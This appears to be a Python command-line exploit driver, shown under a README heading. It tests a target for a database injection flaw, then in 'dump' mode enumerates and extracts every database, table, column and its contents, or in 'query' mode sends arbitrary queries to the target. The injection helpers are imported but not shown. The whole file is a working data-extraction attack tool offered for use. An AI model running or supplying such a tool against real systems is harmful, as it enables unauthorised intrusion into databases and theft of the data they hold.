README.md
Rendering markdown...
from util.utils import is_vulnerable, get_target_info, get_all_db, get_db_table_schema,get_table_column, get_column_content, send_query
import logging
import argparse
import requests
parser = argparse.ArgumentParser(description="A script that stores target from command-line args")
parser.add_argument('-t', '--target', type=str, required=True, help='Target to be stored')
parser.add_argument('-m', '--mode', type=str, required=True, help='Mode to be used: dump or query')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose mode')
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.DEBUG,format='%(asctime)s - %(levelname)s - %(message)s')
else:
logging.basicConfig(level=logging.INFO,format='%(asctime)s - %(levelname)s - %(message)s')
# Creating an object
logger = logging.getLogger()
def main():
try:
target = args.target
vuln = is_vulnerable(target)
logger.info("Is target vulnerable: {}".format(vuln))
if not vuln:
logger.info("Target is not vulnerable")
return
target_info = get_target_info(target)
for key, value in target_info.items():
logger.info("{}: {}".format(key, value))
except requests.exceptions.MissingSchema as e:
logger.error("Invalid target")
exit(1)
except requests.exceptions.ConnectionError as e:
logger.error("Target is not reachable")
exit(1)
if args.mode == "dump":
logger.info("Enumerating DBs...")
databases = get_all_db(args.target)
for db in databases:
logger.info("Enumerating Database: {}".format(db))
schemas = get_db_table_schema(args.target, db)
for schema in schemas:
logger.info("Enumerating Tables: {}".format(schema))
table_columns = get_table_column(args.target, db, schema['TABLE_NAME'])
for table_column in table_columns:
logger.info("Enumerating content of the Columns: {}".format(table_column))
get_column_content(args.target, db, schema['TABLE_SCHEMA'], schema['TABLE_NAME'], table_column, table_column)
elif args.mode == "query":
while True:
query = input("Enter query: ")
result = send_query(args.target, query)
logger.info(result)
if __name__ == "__main__":
main()